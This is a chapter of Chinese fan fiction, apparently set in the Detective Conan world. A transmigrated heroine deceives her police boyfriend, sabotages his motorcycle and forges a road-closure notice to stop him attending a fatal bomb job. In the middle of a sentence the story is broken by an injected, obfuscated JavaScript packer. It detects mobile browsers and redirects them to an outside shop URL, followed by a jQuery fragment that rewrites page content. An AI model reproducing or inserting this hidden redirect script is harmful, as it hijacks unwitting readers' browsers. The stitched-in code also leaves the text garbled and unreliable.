夜风裹着十一月的寒意，从半开的车窗钻进来。鎏汐靠在副驾驶座上，指尖无意识地摩挲着安全带。车载收音机里，女主播正用甜美的嗓音播报明日天气预报：“……受冷空气影响，凌晨至清晨将有小到中雨，气温骤降，请市民注意添衣保暖。”
雨。鎏汐闭了闭眼。原剧情里，萩原研二殉职的那天，东京也在下雨。
“怎么了？”驾驶座上的萩原注意到她的沉默，伸手将空调温度调高了两度，“冷吗？”
“不冷。”鎏汐侧过头，路灯的光影在他脸上明明灭灭。这个男人今天穿了件深灰色的毛衣，衬得下颌线条愈发分明——那是她在爆炸现场第一次见到他时，他穿着厚重防爆服、半蹲在炸弹前拆解线路的模样。那时的他眼神冷得像冰，手肘毫不留情地将她推开，眼底满是对“借事故蹭热度者”的厌恶。
而现在，他会在她手冷时，用掌心包裹住她的指尖轻轻呵气。
“研二，”鎏汐轻声开口，“明天……你有什么安排吗？”
“早上有个拆弹任务，在地铁站。”萩原转动方向盘，车子拐入通往她公寓的街道，“怎么突然问这个？”
心脏在胸腔里重重一跳。来了。就是明天。那列死亡地铁，那枚精心设计的陷阱炸弹，那个在原剧情里会夺走他生命的时刻。
“没什么。”鎏汐垂下眼睫，让声音带上恰到好处的担忧，“就是……昨晚做了个噩梦，梦见你拆弹时出了意外。”
她感觉到萩原的手顿了顿。
“梦都是反的。”他语气轻松，但鎏汐捕捉到他眼底一闪而过的凝重——拆弹警察的宿命，就是每天与死神擦肩而过，谁都不敢说“绝对安全”。
车子在她公寓楼下停稳。鎏汐没有立刻解开安全带，而是转过身，伸手捧住萩原的脸。她的动作很轻，指尖却带着不容拒绝的力度，迫使他直视自己的眼睛。
“研二，”她一字一句地说，让每个音节都裹上蜜糖般粘稠的深情，“答应我，明天一定要小心。如果……如果觉得不对劲，就立刻撤退，不要逞强，好不好？”
月光透过车窗洒进来，在她眼里映出细碎的流光。那是她练习过无数遍的眼神——三分担忧，三分爱意，四分恰到好处的脆弱，混合成一种足以让任何男人心软的凝视。
萩原看着她，喉结滚动了一下。他抬手覆上她的手背，掌心温热：“我答应你。”
但鎏汐知道，光靠一句承诺是不够的。在原剧情里，萩原是个责任心极强的警察，就算察觉到危险，只要还有一线希望，他都会选择留下拆弹。
她需要更实际的“保险”。
“那……”鎏汐凑近，气息拂过他的唇畔，“今晚留下来陪我，好不好？我……我心里总是不踏实。”
这是一个试探。如果萩原同意，她就有更多时间实施下一步计划；如果他拒绝，她就得另想办法。
萩原沉默了几秒。鎏汐能感觉到他身体的紧绷——警察的警觉让他习惯保持距离，但热恋中的情感又让他难以拒绝恋人的请求。
最终，他轻轻点头：“好。我陪你。”
鎏汐心里松了口气，面上却绽放出欣喜的笑容。她解开安全带，率先下车，走到公寓楼门前输入密码。铁门开启的“咔哒”声在寂静的夜里格外清晰。
深夜，凌晨两点十七分。
鎏汐躺在卧室床上，听着身侧传来萩原均匀的呼吸声。她闭着眼，在心里默数到三百，然后缓缓睁开。
月光从窗帘缝隙漏进来，在地板上投出狭长的光斑。她侧过身，借着昏暗的光线打量萩原的睡颜——他睡得很沉，大概是连日高强度工作积累的疲惫终于爆发。这是最好的时机。
鎏汐悄无声息地掀开被子，赤脚踩在地板上。她没有开灯，凭着记忆摸到床头柜前，指尖触到萩原放在上面的车钥匙。冰凉的金属质感让她心跳加速。
她需要破坏他的摩托车发动机，确保他明天无法准时抵达地铁站。
但在这之前——
鎏汐走到书桌前，打开笔记本电脑。屏幕亮起的蓝光映在她脸上，她快速登录一个加密的暗网论坛。这是她穿越到这个世界后，花费数月时间建立的情报网之一。她在搜索栏输入“东京地铁线路施工申请”，很快找到了市政部门的内部联络渠道。
手指在键盘上飞快敲击。她伪造了一份紧急道路施工通知，将明天早上七点至九点——正好是萩原赶往地铁站的时间段——涩谷区三条主干道列为“紧急抢修区域”，要求全线封闭。
“搞定。”鎏汐轻轻吐出一口气，合上电脑。
接下来是摩托车。
她换上深色运动装，将长发束成利落的马尾，戴上黑色手套。萩原的公寓车库在楼下，她之前已经借着“帮他拿东西”的机会摸清了位置和门锁密码。
凌晨的街道空无一人，只有路灯在寒风中投下昏黄的光晕。鎏汐快步穿过小巷，来到公寓楼后的地下车库。感应灯随着她的脚步一盏盏亮起，又在她经过后一盏盏熄灭。
萩原的摩托车停在最里面的车位。那是一辆黑色的本田CB400SF，保养得极好，车身上还贴着他最喜欢的“拆弹小组”标志贴纸。
鎏汐蹲下身，从随身携带的工具包里取出扳手和螺丝刀。她不是机械专家，但穿越前的特工训练让她掌握了基本的破坏技巧——不需要让车彻底报废，只需要制造一个“看起来像是偶然故障”的问题。
她拆开发动机侧盖，找到燃油泵的电路接口。指尖捏住一根细小的电线，轻轻一拧，金属丝断裂。接着，她又在火花塞上做了手脚，让它在启动时会产生间歇性跳火，导致发动机无法正常点火。
整个过程只用了十五分钟。鎏汐将一切复原，用湿巾擦掉指纹和可能留下的痕迹。最后，她从工具包里拿出一个小型遥控装置，小心翼翼地塞进摩托车座椅下方的缝隙里。
这是她的备用计划——如果萩原奇迹般地修好了车，这个装置会在明早七点十分自动发送干扰信号，让摩托车在行驶中突然熄火。
“对不起，研二。”鎏汐站起身，指尖轻抚过冰冷的车身，“但我必须让你活下来。”
回到公寓时，凌晨三点已过。鎏汐在玄关脱掉鞋子，赤脚走回卧室。萩原还在熟睡，呼吸平稳。
她站在床边看了他一会儿，然后轻手轻脚地躺回他身边。温热的体温透过睡衣传来，带着令人安心的气息。鎏汐闭上眼，在心里重新梳理明天的计划：
早上六点半，她会准时“发烧”。体温计已经提前调整过，会显示38.5度的高温。她会用虚弱的声音打电话给萩原，请求他留下来照顾自己。
七点整，萩原会发现摩托车无法启动。他会尝试修理，但至少需要二十分钟——这是她计算好的时间。
七点二十分，萩原如果决定打车前往地铁站，会遭遇她制造的“道路施工”拥堵。从公寓到地铁站原本只需要十五分钟车程，明天早上至少需要四十分钟。
八点十分，原剧情里炸弹爆炸的时间。那个时候，萩原应该还堵在路上。
一切都计算好了。每一个环节都精密得像她曾经拆解过的炸弹。
但心脏深处，依然有什么东西在隐隐作痛。
鎏汐翻了个身，背对着萩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027678|194076||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原。月光从窗帘缝隙漏进来，在地板上投出她蜷缩的影子。她想起第一次在爆炸现场见到他时，他蹲在炸弹前，额角的汗珠顺着下颌线滑落，指尖却稳得像磐石。
她想起他捧着白玫瑰在摩天轮下告白时，眼神真挚得像要把整颗心掏出来给她。
她想起他每天早起为她准备早餐，晚上下班后陪她在街头散步，聊工作、聊生活，聊那些他从未对别人说过的、关于死亡的恐惧和对生命的眷恋。
“我是个骗子。”鎏汐在心里无声地说，指甲深深掐进掌心，“但我骗你，是为了救你。”
窗外的天空开始泛白。第一缕晨光艰难地穿透云层，预示着今天会是个阴雨天气。
鎏汐睁开眼，摸出藏在枕头下的手机。屏幕显示：早上六点二十五分。
时间到了。
她深吸一口气，让身体开始轻微颤抖，额头上迅速渗出细密的汗珠——这是她通过控制肌肉和呼吸模拟出的“发烧”症状。然后，她用带着浓重鼻音、虚弱得几乎气若游丝的声音，轻轻推了推身侧的萩原：
“研二……我好难受……”
萩原几乎是瞬间惊醒。他坐起身，借着晨光看到鎏汐苍白的脸和汗湿的额发，瞳孔骤缩：“鎏汐？你怎么了？”
“头好疼……身上好冷……”鎏汐抓住他的衣袖，指尖因为用力而泛白，“你摸摸……我是不是发烧了？”
萩原的手贴上她的额头，掌心传来的滚烫温度让他脸色一变。他立刻翻身下床，从医药箱里拿出体温计。
五分钟后，电子体温计发出“嘀”的提示音：38.7度。
“你发烧了。”萩原眉头紧皱，“我送你去医院。”
“不要……”鎏汐摇头，眼泪恰到好处地涌出来，“我害怕医院……研二，你留下来陪我好不好？就今天……就今天一天……”
她哭得梨花带雨，声音破碎得像下一秒就要昏厥。这是她精心设计的表演——足够真实，足够脆弱，足够让任何一个爱她的男人心软。
萩原僵在原地。鎏汐能看到他眼底激烈的挣扎：一边是高烧的恋人，一边是紧急的拆弹任务。他的手机在这时响起——是警视厅打来的，提醒他七点前必须抵达地铁站。
“研二……”鎏汐伸手，轻轻拽了拽他的衣角，“求你了……”
电话那头传来同事焦急的声音：“萩原，地铁站那枚炸弹很棘手，需要你尽快到场！”
萩原握着手机，目光在鎏汐苍白的脸上停留了漫长的三秒。然后，他对着电话说：“我这边……有点紧急情况。可能需要晚一点到。”
挂断电话后，他俯身摸了摸鎏汐的头发：“我先去楼下药店给你买退烧药，然后……”
“不要走。”鎏汐抱住他的腰，将脸埋在他胸口，“我怕你走了就不回来了……就像我梦里那样……”
她的声音在发抖。这次不是演的——有那么一瞬间，她真的害怕了。害怕计划失败，害怕他最终还是去了地铁站，害怕四小时后接到他殉职的消息。
萩原的身体明显僵硬了。他沉默了很久，久到鎏汐几乎以为他要推开她。
但最终，他只是叹了口气，将她搂得更紧：“好，我不走。我陪你。”
鎏汐闭上眼，泪水终于真的滚落下来。
这一次，不是演技。
窗外的雨开始下了。淅淅沥沥的雨声敲打着玻璃，像是在为一场即将被改写的死亡，奏响哀悼与庆幸交织的序曲。
而远处的地铁站里，那枚注定要在四小时后爆炸的炸弹，正静静等待着永远不会到来的、名为萩原研二的拆弹专家。